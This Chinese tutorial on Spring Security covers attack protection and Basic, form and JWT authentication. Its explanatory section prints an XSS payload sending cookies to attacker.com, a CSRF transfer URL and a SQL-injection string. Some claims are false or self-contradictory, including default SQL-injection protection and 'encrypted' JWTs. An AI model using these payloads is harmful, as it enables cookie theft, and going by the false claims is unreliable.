Spring Security
Spring 生态圈中有两个主流的安全框架:Apache Shiro 和 Spring Security。Spring Security 是 Spring 官方的安全框架,它提供了一套完整的安全解决方案,包括认证、授权、攻击防护等。Shiro 更为轻量,也是一个不错的选择。这里我们只介绍 Spring Security。
这里我们的演示使用 Spring WebFlux。在这里使用 Reactive 版的目的是为了展示 Spring WebFlux 的应用,但这不影响 Spring Security 的学习。
Spring Security 三大职能
- 攻击防护(Attack Protection),包括防止常见的网络安全攻击,如 CSRF、XSS等。
- 认证(Authentication),验证用户的身份。
- 鉴权(Authorization),控制用户对资源的访问权限。
攻击防护
常见的网络安全攻击及其原理
CSRF(Cross-Site Request Forgery)
CSRF 是一种网络攻击,攻击者利用用户的登录状态发起恶意请求。攻击者可以伪造请求,让用户在不知情的情况下执行恶意操作。
例如,如果用户在http://bank.com/transfer
页面上登录了银行账号,攻击者可以在另一个页面上放置一个<img src="http://bank.com/transfer?to=attacker&amount=1000">
的图片,当用户访问这个页面时,浏览器会自动加载这个图片。因为用户的网络环境中已经有了银行的 Cookie,所以这个请求会带上用户的 Cookie,从而执行了转账操作。
XSS(Cross-Site Scripting)
XSS 是一种网络攻击,攻击者在网页中注入恶意脚本,当用户访问这个页面时,脚本会在用户的浏览器中执行。这样攻击者就可以获取用户的 Cookie、密码等信息。
这种攻击很像 SQL 注入,只不过 SQL 注入是攻击数据库,而 XSS 是攻击用户。
一种常见的 XSS 攻击是在评论框中注入脚本,当其他用户访问这个页面时,脚本会在他们的浏览器中执行。例如,攻击者在评论框中输入<script>fetch('http://attacker.com?cookie=' + document.cookie)</script>
,这样其他用户访问这个页面时,就会向http://attacker.com
发送请求,从而泄露 Cookie。
SQL 注入
SQL 注入是一种网络攻击,攻击者在输入框中输入恶意 SQL 语句,当这个 SQL 语句被拼接到数据库查询中时,就会执行这个 SQL 语句。
例如,如果一个登录页面的 SQL 查询是SELECT * FROM users WHERE username = '${username}' AND password = '${password}'
,攻击者可以输入' OR 1=1 --
,这样 SQL 查询就变成了SELECT * FROM users WHERE username = '' OR 1=1 --' AND password = '${password}'
,这样就绕过了密码验证。
点击劫持
点击劫持是一种网络攻击,攻击者在一个透明的 iframe 中放置一个恶意网页,然后将这个 iframe 放在一个看似无害的页面上。当用户点击这个页面时,实际上是点击了 iframe 中的恶意网页。
例如,攻击者在一个透明的 iframe 中放置一个银行转账页面,然后将这个 iframe 放在一个看似无害的页面上。当用户点击这个页面时,实际上是点击了银行转账页面,从而执行了转账操作。
配置 Spring Security 进行攻击防护
Spring Security 中,所有的功能都是通过 SecurityFilterChain 实现的。如名字所示,SecurityFilterChain 是一个过滤器链,它包含了一系列的过滤器,每个过滤器负责一个功能。
对于 Spring Web,这个过滤器是 Servlet Filter;对于 Spring WebFlux,这个过滤器是 WebFilter。不过,两者的功能是一样的。
Spring Security 默认开启了全部的攻击防护功能,包括 CSRF、XSS、SQL 注入等。我们可以通过配置来关闭这些功能。
@Configuration
@EnableWebFluxSecurity
public class SecurityConfig {
@Bean
public SecurityWebFilterChain securityWebFilterChain(
ServerHttpSecurity http
) {
return http
.csrf(csrf -> csrf.disable())
.cors(Customizer.withDefaults())
.build();
}
}
如果是 Servlet 版本,使用,
@Configuration
@EnableWebSecurity
public class SecurityConfig {
@Bean
public SecurityFilterChain securityFilterChain(
HttpSecurity http
) {
return http
.csrf(csrf -> csrf.disable())
.cors(Customizer.withDefaults())
.build();
}
}
注意,网上的很多资料都的写法都过时了,现在的写法叫 lambda DSL,即.功能名(参数 -> 参数设置)
。如果保持默认设置,使用Customizer.withDefaults()
即可。
上面每一条语句都创建一个 Filter,.csrf(csrf -> csrf.disable())
即创建了CsrfWebFilter
,.cors(Customizer.withDefaults())
即创建了CorsWebFilter
。这些 Filter 会被添加到 SecurityFilterChain 中。最后通过.build()
创建 SecurityFilterChain。
这些攻击的防护基本是无感的,不需要做太多操作,均默认开启。
单体应用的认证与鉴权
Spring Security 提供了多种认证方式,包括用户名密码认证、OAuth2 认证等。在这一部分,我们只介绍用户名密码认证,并自己实现 JWT 认证。
认证信息的传递
认证信息的传递有两种方式:Cookie 和 Token。
Cookie 是一种存储在浏览器中的信息,它会随着每次请求一起发送到服务器。Cookie 有两种:会话 Cookie 和持久 Cookie。会话 Cookie 是一种临时 Cookie,它会在浏览器关闭时被删除;持久 Cookie 是一种长期 Cookie,它会在浏览器关闭时被保存。
不过,现在的大部分的认证信息都是通过 Token 传递的。Token 是一种短期的认证信息,它会在一段时间后失效。简单来说,Token 就是一个字符串,它包含了用户的信息,如用户名、权限等。与 Cookie 不同,Token 是存储在客户端的,它会在每次请求时被发送到服务器,如此,服务器就是无状态的。
Token 一般通过 HTTP 请求头部的Authorization
字段传递。其内容根据 Token 的类型不同而不同。但格式都是格式 数据
中间有一个空格。
常用的格式只有两种,Basic
和Bearer
。前者只用于用户名-密码认证,又称为 HTTP Basic 认证;后者广泛用于多种认证方式,称为 Bearer Token 认证。
Basic 认证的格式是Basic base64(username:password)
,其中base64(username:password)
是用户名:密码
的 base64 编码。这种认证方式不安全,因为用户名和密码是明文传输的。
Bearer Token 认证的格式是Bearer token
,其中token
是 Token 的内容。这种认证方式相对安全,因为 Token 是加密的。Token 的具体内容取决于认证方式。
此外,还有一种表单认证,即通过表单提交用户名和密码。
Spring Security 认证与鉴权流程
Spring Security 的每个鉴权请求都是由 SecurityContext 处理的。由于每个 HTTP 请求都有独立的线程处理,因此存储是通过 ThreadLocal 实现的。
当前线程的 SecurityContext 通过SecurityContextHolder.getContext()
获取,其中包含了当前用户的信息。这个信息是通过Authentication
对象表示的,其中包含了用户的身份、凭证、权限等信息。
SecurityContext context = SecurityContextHolder.createEmptyContext();
Authentication authentication =
new TestingAuthenticationToken("username", "password", "ROLE_USER");
context.setAuthentication(authentication);
SecurityContextHolder.setContext(context);
上面的代码创建了一个SecurityContext
,并设置了一个Authentication
对象。这个Authentication
对象表示了一个用户,其中包含了用户名、密码、权限等信息。
SecurityFilterChain 负责把用户请求处理成Authentication
对象,然后把这个对象存储到SecurityContext
中。
Authentication
其实是一个接口,定义如下,
public interface Authentication extends Principal, Serializable {
Collection<? extends GrantedAuthority> getAuthorities();
Object getCredentials();
Object getDetails();
Object getPrincipal();
boolean isAuthenticated();
void setAuthenticated(boolean isAuthenticated) throws IllegalArgumentException;
}
它由四个重要的属性,Authenticated
,是否已经通过认证;Principal
,用户的身份,即能表示用户的标识,通常是用户名或用户 ID;Credentials
,用户的凭证,即能验证用户身份的信息,通常是密码;Authorities
,用户的权限,即用户能访问的资源。Authorities
是一个GrantedAuthority
的集合,GrantedAuthority
是一个只有getAuthority()
方法的接口,它只返回一个字符串,表示用户的权限。因此,可以认为Authorities
本质就是一些字符串,它们可以表示用户的权限。
默认状态下,SecurityFilterChain 的认证流程如下。
- Filter 拦截请求。Filter 先根据特定的规则把 HTTP 请求处理成
Authentication
对象。这时对象的Authenticated
属性为false
。Filter 会把这个对象放在SecurityContext
中。这个 Filter 是AuthenticationFilter
或AuthenticationWebFilter
。对于前者,在创建时要提交AuthenticationManager
和一个AuthenticationConverter
,它们分别负责认证和 HTTP 请求转 Authentication 对象。对于后者,只需要提交ReactiveAuthenticationManager
,Converter 可以用回调函数设置。 - Filter 把用户认证的任务委托给
AuthenticationManager
。AuthenticationManager
会根据Authentication
对象的Principal
和Credentials
进行认证。authenticate
是AuthenticationManager
的唯一一个方法,它接受一个Authentication
对象,返回一个认证后的Authentication
对象。 AuthenticationManager
Servlet 版本的默认实现是ProviderManager
,它会把认证任务委托给多个AuthenticationProvider
。每个AuthenticationProvider
负责一种认证方式,例如用户名密码认证、OAuth2 认证等。除了authenticated
方法外,AuthenticationProvider
还有一个supports
方法,它的签名是boolean supports(Class<?> authentication)
,用于判断这个AuthenticationProvider
是否支持这种认证方式。默认的ProviderManager
会遍历所有的AuthenticationProvider
,找到第一个支持这种认证方式的AuthenticationProvider
,然后调用它的authenticate
方法。而 WebFlux 版本没有 ProviderManager,而是直接使用UserDetailsRepositoryReactiveAuthenticationManager
,这比 Servlet 版本少了一层抽象。AuthenticationProvider
会根据SecurityContext
中Authentication
对象的Principal
和Credentials
进行认证。如果认证成功,就返回一个认证后的Authentication
对象;如果认证失败,就抛出一个异常。- 默认的
AuthenticationProvider
是DaoAuthenticationProvider
,它会根据用户名和密码从数据库中查询用户信息。它依赖于UserDetailsService
,UserDetailsService
是一个接口,它只有一个方法UserDetails loadUserByUsername(String username)
,用于根据用户名查询用户信息。UserDetails
是一个接口,它包含了用户的用户名、密码、权限等信息。DaoAuthenticationProvider
会根据UserDetailsService
查询到的UserDetails
对象,和Authentication
对象的Credentials
进行比较,如果相同,就返回一个认证后的Authentication
对象;如果不同,就抛出一个异常。此外,它还有一个PasswordEncoder
属性,用于对密码进行加密。 - 认证成功后,
AuthenticationManager
会把认证后的Authentication
对象存储到SecurityContext
中。这时对象的Authenticated
属性为true
。 - 后续 Filter 根据
Authentication
对象的Authorities
进行鉴权。
这个过程一定要理解好,下面我们所有的配置都是基于这个过程的。我们一般只会改变AuthenticationManager
,UserDetailsService
,PasswordEncoder
这三个类。
注意,上面的流程是基于 Servlet 的,对于 WebFlux,流程是一样的,但是 Filter 是 WebFilter,而且其它的接口名称都在开头添加了Reactive
,例如ReactiveAuthenticationManager
,接口从直接返回值变成返回Mono
,但是其它的都是一样的。
此外,如果找不到UserDetailsService
,即完全没经过 Security 配置,默认的AuthenticationManager
逻辑是这样的:它会在配置文件里找spring.security.user.name
和spring.security.user.password
,如果找到了,就用这个用户名和密码进行认证。如果找不到,就会生成一个密码,打印在控制台上,然后用这个密码进行认证。这个密码是随机的,每次启动都不一样。用户名是user
。
配置 Spring Security 进行 Basic 认证与鉴权
首先,我们要配置好 UserDetailsService,它用于根据用户名查询用户信息。这里我们就不连接数据库了,而是直接用 Map 存储用户信息。这里我们使用默认类。注意,非 WebFlux 版本没有 MapUserDetailsManager
,需要自己实现。
@Bean
PasswordEncoder passwordEncoder() {
return new BCryptPasswordEncoder();
}
@Bean
public ReactiveUserDetailsService reactiveUserDetailsService(
@Autowired PasswordEncoder passwordEncoder
) {
return new MapReactiveUserDetailsService(
User.withUsername("user")
.password(passwordEncoder.encode("password"))
.roles("USER")
.build(),
User.withUsername("admin")
.password(passwordEncoder.encode("password"))
.roles("ADMIN")
.build()
);
}
然后配置 Filter。
@Bean
public SecurityWebFilterChain securityWebFilterChain(
ServerHttpSecurity http
) {
return http
.httpBasic(Customizer.withDefaults())
.authorizeExchange(exchanges -> exchanges
.pathMatchers("/resource/public").permitAll()
.pathMatchers("/resource/private").authenticated()
.pathMatchers("/resource/admin").hasRole("ADMIN")
.anyExchange().permitAll()
)
.csrf(csrf -> csrf.disable())
.cors(Customizer.withDefaults())
.build();
}
这里的配置很简单,.httpBasic(Customizer.withDefaults())
表示使用 HTTP Basic 认证;.authorizeExchange(exchanges -> exchanges...
表示配置鉴权规则;.csrf(csrf -> csrf.disable())
表示关闭 CSRF 防护;.cors(Customizer.withDefaults())
表示配置 CORS 规则。
其中,pathMatchers
表示匹配路径,permitAll
表示允许所有用户访问,authenticated
表示只允许认证用户访问,hasRole
表示只允许有某个角色的用户访问。
这里的Role
匹配其实就是GrantedAuthority
匹配,只不过 Spring Security 为了方便,提供了hasRole
方法,它会自动加上ROLE_
前缀。简单来说,为一个用户添加一个角色,就是为这个用户添加一个GrantedAuthority
,这个GrantedAuthority
的getAuthority
方法返回的字符串就是ROLE_
加上角色名。检查也是一样的,只要用户的Authorities
中包含这个GrantedAuthority
,就可以访问。
此外,还可以使用access
表达式,它是一个 SpEL 表达式,用于判断用户是否有权限访问。里面的内容就是正常情况下的权限控制方法。
@Bean
public SecurityWebFilterChain securityWebFilterChain(
ServerHttpSecurity http
) {
return http
.httpBasic(Customizer.withDefaults())
.authorizeExchange(exchanges -> exchanges
.pathMatchers("/resource/public").access("permitAll()")
.pathMatchers("/resource/private").access("isAuthenticated()")
.pathMatchers("/resource/admin").access("hasRole('ADMIN')")
)
.csrf(csrf -> csrf.disable())
.cors(Customizer.withDefaults())
.build();
}
或者使用基于注解的方式。
@GetMapping("/private")
@PreAuthorize("isAuthenticated()")
public Mono<String> privateResource() {
return Mono.just("Private resource");
}
这里的@PreAuthorize
是一个注解,它的值是一个 SpEL 表达式,用于判断用户是否有权限访问这个接口。里面的内容和 access 方法一致。
如果使用了 Spring Doc,先加上@SecurityRequirement
注解,
@GetMapping("/private")
@SecurityRequirement(name = "basicAuth")
public Mono<String> privateResource() {
return Mono.just("Private resource");
}
@GetMapping("/admin")
@SecurityRequirement(name = "basicAuth", scopes = "admin")
public Mono<String> adminResource() {
return Mono.just("Admin resource");
}
然后加上@SecurityScheme
注解,
package io.github.fingerbone;
import org.springframework.context.annotation.Configuration;
import io.swagger.v3.oas.annotations.enums.SecuritySchemeType;
import io.swagger.v3.oas.annotations.security.SecurityScheme;
@Configuration
@SecurityScheme(
name = "basicAuth",
type = SecuritySchemeType.HTTP,
scheme = "basic"
)
public class SpringDocConfig {
}
这样 Swagger 就会自动加上认证信息。每个有 Security 注解的接口都会有一个锁的图标,点击后会弹出认证框,输入用户名密码即可。
注意,默认 HTTP Basic 是有 Cookie 保持的。
进入浏览器的开发者工具,选择 Storage。在 All Storage 里删掉所有 Cookie 即可。
当然,更好的方法是添加一个登出接口,这样就可以在浏览器中登出了。
@GetMapping("/logout")
public Mono<Void> logout(ServerWebExchange exchange) {
return exchange.getPrincipal().flatMap(principal -> {
if (principal instanceof Authentication) {
return exchange.getExchange().getSession().doOnNext(WebSession::invalidate);
}
return Mono.empty();
});
}
或者直接用 Spring Security 提供的LogoutWebFilter
。
@Bean
public SecurityWebFilterChain securityWebFilterChain(
ServerHttpSecurity http
) {
return http
.httpBasic(Customizer.withDefaults())
.logout(logout -> logout.logoutUrl("/logout"))
.authorizeExchange(exchanges -> exchanges
.pathMatchers("/resource/public").permitAll()
.pathMatchers("/resource/private").authenticated()
.pathMatchers("/resource/admin").hasRole("ADMIN")
.anyExchange().permitAll()
)
.csrf(csrf -> csrf.disable())
.cors(Customizer.withDefaults())
.build();
}
这样,访问/logout
就会登出。
如果要关闭 Cookie,可以使用securityContextRepository
,这个类用于存储SecurityContext
。默认的实现是WebSessionServerSecurityContextRepository
,它会把SecurityContext
存储到WebSession
中。我们可以使用NoOpServerSecurityContextRepository
,它不会存储SecurityContext
。
@Bean
public SecurityWebFilterChain securityWebFilterChain(
ServerHttpSecurity http
) {
return http
.httpBasic(Customizer.withDefaults())
.logout(logout -> logout.logoutUrl("/logout"))
.securityContextRepository(
NoOpServerSecurityContextRepository.getInstance()
)
.authorizeExchange(exchanges -> exchanges
.pathMatchers("/resource/public").permitAll()
.pathMatchers("/resource/private").authenticated()
.pathMatchers("/resource/admin").hasRole("ADMIN")
.anyExchange().permitAll()
)
.csrf(csrf -> csrf.disable())
.cors(Customizer.withDefaults())
.build();
}
如果使用 Servlet 版本,使用的是sessionManagement
。
@Bean
public SecurityFilterChain securityFilterChain(
HttpSecurity http
) {
return http
.httpBasic(Customizer.withDefaults())
.logout(logout -> logout.logoutUrl("/logout"))
.sessionManagement(sessionManagement -> sessionManagement
.sessionCreationPolicy(SessionCreationPolicy.STATELESS)
)
.authorizeRequests(authorizeRequests -> authorizeRequests
.antMatchers("/resource/public").permitAll()
.antMatchers("/resource/private").authenticated()
.antMatchers("/resource/admin").hasRole("ADMIN")
.anyRequest().permitAll()
)
.csrf(csrf -> csrf.disable())
.cors(Customizer.withDefaults())
.build();
}
这样,就关闭了 Cookie。
配置 Spring Security 进行表单认证与鉴权
表单认证与 Basic 认证类似,只是认证方式不同。只需要将.httpBasic(Customizer.withDefaults())
替换成.formLogin(Customizer.withDefaults())
即可。如果两者都有,那么是或的关系。
@Bean
public SecurityWebFilterChain securityWebFilterChain(
ServerHttpSecurity http
) {
return http
.httpBasic(Customizer.withDefaults())
.formLogin(Customizer.withDefaults())
.authorizeExchange(exchanges -> exchanges
.pathMatchers("/resource/public").permitAll()
.pathMatchers("/resource/private").authenticated()
.pathMatchers("/resource/admin").hasRole("ADMIN")
.anyExchange().permitAll()
)
.csrf(csrf -> csrf.disable())
.cors(Customizer.withDefaults())
.securityContextRepository(
NoOpServerSecurityContextRepository.getInstance()
)
.build();
}
配置 Spring Security 进行 JWT 认证与鉴权
JWT 认证原理
JWT 使用 Bearer Token 认证,它的格式是Bearer token
,其中token
是 Token 的内容。Token 的内容是一个 JSON 对象,它包含了用户的信息,如用户名、权限等。Token 是加密的,因此是安全的。
其中,具体而言,一个 JWT Token 由三部分组成,分别是 Header、Payload 和 Signature。Header 包含了 Token 的类型和加密算法;Payload 包含了用户的信息;Signature 是 Header 和 Payload 的签名,用于验证 Token 的完整性。三者之间用.
分隔。JWT Token 由服务器负责生成,客户端负责保存。
例如,一个 JWT Token 解密后的内容可能是这样的,
{
"header": {
"alg": "HS256",
"typ": "JWT"
},
"payload": {
"sub": "user",
"roles": ["USER"]
},
"signature": "..."
}
JWT 中一定不要存储敏感信息,因为 JWT 本身是明文的。
Payload 中,有一些字段是 JWT 规定的,如sub
表示用户,exp
表示过期时间,iat
表示签发时间等。除此之外,可以自定义字段,如roles
表示用户的角色。每一条记录称为一个 Claim,因此 Payload 有时也叫 Claims。
JWT 的解析
JWT 一般使用一个轻量级的 JJWT 库进行解析。签发 Token 时,需要指定 Token 的过期时间、签发时间、用户信息等。解码 Token 时,需要指定 Token 的签名密钥。
首先引入依赖,
dependencies {
implementation 'io.jsonwebtoken:jjwt-api:0.12.6'
runtimeOnly 'io.jsonwebtoken:jjwt-jackson:0.12.6'
runtimeOnly 'io.jsonwebtoken:jjwt-impl:0.12.6'
}
然后实现一个 Util 类。
import java.util.*;
import javax.crypto.SecretKey;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.security.core.Authentication;
import org.springframework.security.core.GrantedAuthority;
import org.springframework.security.core.userdetails.ReactiveUserDetailsService;
import org.springframework.security.core.userdetails.UserDetails;
import org.springframework.security.core.userdetails.UserDetailsService;
import org.springframework.stereotype.Component;
import io.jsonwebtoken.Claims;
import io.jsonwebtoken.Jws;
import io.jsonwebtoken.Jwts;
@Component
public class JwtUtil {
private final ReactiveUserDetailsService userDetailsService;
@Value("#{${jwt.expiration-seconds}}")
private final Integer expirationSeconds;
private final SecretKey key;
public JwtUtil(ReactiveUserDetailsService userDetailsService,
@Value("${jwt.expiration-seconds}") Integer expirationSeconds) {
this.userDetailsService = userDetailsService;
this.expirationSeconds = expirationSeconds;
this.key = Jwts.SIG.HS256.key().build();
}
public String generateToken(String username) {
UserDetails userDetails = userDetailsService.findByUsername(username).block();
Date expire = new Date(System.currentTimeMillis() + expirationSeconds * 1000);
String id = UUID.randomUUID().toString();
return Jwts.builder()
.header()
.add("typ", "JWT")
.add("alg", "HS256")
.and()
.claim("username", userDetails.getUsername())
.claim("authorities", userDetails.getAuthorities())
.id(id)
.expiration(expire)
.issuedAt(new Date())
.subject(userDetails.getUsername())
.issuer("issuer")
.signWith(
key,
Jwts.SIG.HS256
)
.compact();
}
public Jws<Claims> parseToken(String token) {
return Jwts.parser().verifyWith(key).build().parseSignedClaims(
token
);
}
public Authentication parseToAuthentication(String token) {
Jws<Claims> jws = parseToken(token);
UserDetails userDetails = userDetailsService.findByUsername(jws.getPayload().getSubject()).block();
return new Authentication() {
private static final long serialVersionUID = 1L;
@Override
public String getName() {
return userDetails.getUsername();
}
@Override
public Collection<? extends GrantedAuthority> getAuthorities() {
return userDetails.getAuthorities();
}
@Override
public Object getCredentials() {
return userDetails.getPassword();
}
@Override
public Object getDetails() {
return userDetails;
}
@Override
public Object getPrincipal() {
return userDetails;
}
@Override
public boolean isAuthenticated() {
return true;
}
@Override
public void setAuthenticated(boolean isAuthenticated) throws IllegalArgumentException {
throw new UnsupportedOperationException();
}
};
}
}
注意,如果使用的 Servlet 的 UserDetailsService,使用loadUserDetails
方法。这里都是一些简单的构造器方法使用,不再赘述。
JWT 的签发
使用一个简单的 API 进行签发即可。如果在生产环境中,要么使用 HTTPS,要么使用非对称加密进行密码传递。但这里为了演示,就直接传递密码了。
@RestController
@RequestMapping("/resource")
@RequiredArgsConstructor
public class MainController {
JwtUtil jwtUtil;
ReactiveUserDetailsService userDetailsService;
PasswordEncoder passwordEncoder;
@PostMapping("/login")
public Mono<String> login(@RequestParam String username, @RequestParam String password) {
return userDetailsService.findByUsername(username)
.filter(userDetails -> passwordEncoder.matches(password, userDetails.getPassword()))
.map(userDetails -> jwtUtil.generateToken(username))
.switchIfEmpty(Mono.error(new Exception("Authentication failed")));
}
}
JWT 的验证
根据前文,我们知道,WebFilter 负责生产 Authentication 对象,而 AuthenticationManager 负责验证 Authentication 对象。
因此,首先我们定义一个 WebFilter 用来解析 Token。这个 WebFilter 都是使用 AuthenticationWebFilter,包含了若干回调函数。这里我们覆写 Convert 即可。
注意,这个类需要一个 AuthenticationManager。但因为 JWT 的解析过程就是验证过程,因此这个 AuthenticationManager 不需要做任何操作。
ReactiveAuthenticationManager authenticationManager = new ReactiveAuthenticationManager() {
@Override
public Mono<Authentication> authenticate(Authentication authentication) {
if(authentication.isAuthenticated()) {
return Mono.just(authentication);
} else {
return Mono.empty();
}
}
};
AuthenticationWebFilter filter = new AuthenticationWebFilter(authenticationManager);
filter.setServerAuthenticationConverter(
exchange -> {
String token = exchange.getRequest().getHeaders().getFirst("Authorization");
if (token != null && token.startsWith("Bearer ")) {
token = token.substring(7);
Authentication authentication = jwtUtil.parseToAuthentication(token);
return Mono.just(authentication);
}
return Mono.empty();
}
);
然后我们把它们加到 SecurityFilterChain 中。
@Bean
public SecurityWebFilterChain securityWebFilterChain(
ServerHttpSecurity http,
@Autowired JwtUtil jwtUtil
) {
ReactiveAuthenticationManager authenticationManager = new ReactiveAuthenticationManager() {
@Override
public Mono<Authentication> authenticate(Authentication authentication) {
if(authentication.isAuthenticated()) {
return Mono.just(authentication);
} else {
return Mono.empty();
}
}
};
AuthenticationWebFilter filter = new AuthenticationWebFilter(authenticationManager);
filter.setServerAuthenticationConverter(
exchange -> {
String token = exchange.getRequest().getHeaders().getFirst("Authorization");
if (token != null && token.startsWith("Bearer ")) {
token = token.substring(7);
Authentication authentication = jwtUtil.parseToAuthentication(token);
return Mono.just(authentication);
}
return Mono.empty();
}
);
SecurityWebFilterChain chain = http
.httpBasic(basic -> basic.disable())
.formLogin(form -> form.disable())
.logout(logout -> logout.disable())
.addFilterBefore(filter, SecurityWebFiltersOrder.AUTHENTICATION)
.authorizeExchange(exchanges -> exchanges
.pathMatchers("/resource/public").permitAll()
.pathMatchers("/resource/private").authenticated()
.pathMatchers("/resource/admin").hasRole("ADMIN")
.anyExchange().permitAll()
)
.csrf(csrf -> csrf.disable())
.cors(Customizer.withDefaults())
.securityContextRepository(
NoOpServerSecurityContextRepository.getInstance()
)
.build();
return chain;
}
如果是使用的 Servlet 版本,有一点点不同。具体而言,创建 AuthenticationFilter 时需要一并传入 AuthenticationConverter。在添加 Filter 时要使用类名。
代码如下,
@Bean
public SecurityFilterChain securityFilterChain(
HttpSecurity http,
@Autowired JwtUtil jwtUtil
) {
AuthenticationManager authenticationManager = new AuthenticationManager() {
@Override
public Authentication authenticate(Authentication authentication) throws AuthenticationException {
if(authentication.isAuthenticated()) {
return authentication;
} else {
throw new BadCredentialsException("Bad credentials");
}
}
};
AuthenticationConverter converter = new AuthenticationConverter() {
@Override
public Authentication convert(HttpServletRequest request) {
String token = request.getHeader("Authorization");
if (token != null && token.startsWith("Bearer ")) {
token = token.substring(7);
Authentication authentication = jwtUtil.parseToAuthentication(token);
return authentication;
}
return null;
}
};
AuthenticationFilter filter = new AuthenticationFilter(authenticationManager, converter);
SecurityFilterChain chain = http
.httpBasic(basic -> basic.disable())
.formLogin(form -> form.disable())
.logout(logout -> logout.disable())
.addFilterBefore(filter, UsernamePasswordAuthenticationFilter.class)
.authorizeRequests(authorizeRequests -> authorizeRequests
.antMatchers("/resource/public").permitAll()
.antMatchers("/resource/private").authenticated()
.antMatchers("/resource/admin").hasRole("ADMIN")
.anyRequest().permitAll()
)
.csrf(csrf -> csrf.disable())
.cors(Customizer.withDefaults())
.build();
return chain;
}
如果使用了 SpringDoc,把认证模式切换为bearerAuth
即可。
@GetMapping("/private")
@SecurityRequirement(name = "bearerAuth")
public Mono<String> privateResource() {
return Mono.just("Private resource");
}
@Configuration
@SecurityScheme(
name = "bearerAuth",
type = SecuritySchemeType.HTTP,
scheme = "bearer"
)
class SpringDocConfig {}
综上,这样就实现了 JWT 认证与鉴权。通过这个例子,我们也更好地理解了 Spring Security 的认证与鉴权流程。
以及,网上很多教程都是自己写一个 Filter,然后在 Filter 里面写认证逻辑,这样根本就没过 Spring Security 的认证流程,这样做是不对的。本文的写法才是正确的。当然,这个也可能因为 Spring Security 的文档没明确写这点。不过大部分人确实没有自定义验证方法的需求。
Spring Security 内置的 JWT 是基于 OAuth2 认证框架的,比较复杂,在下一部分介绍。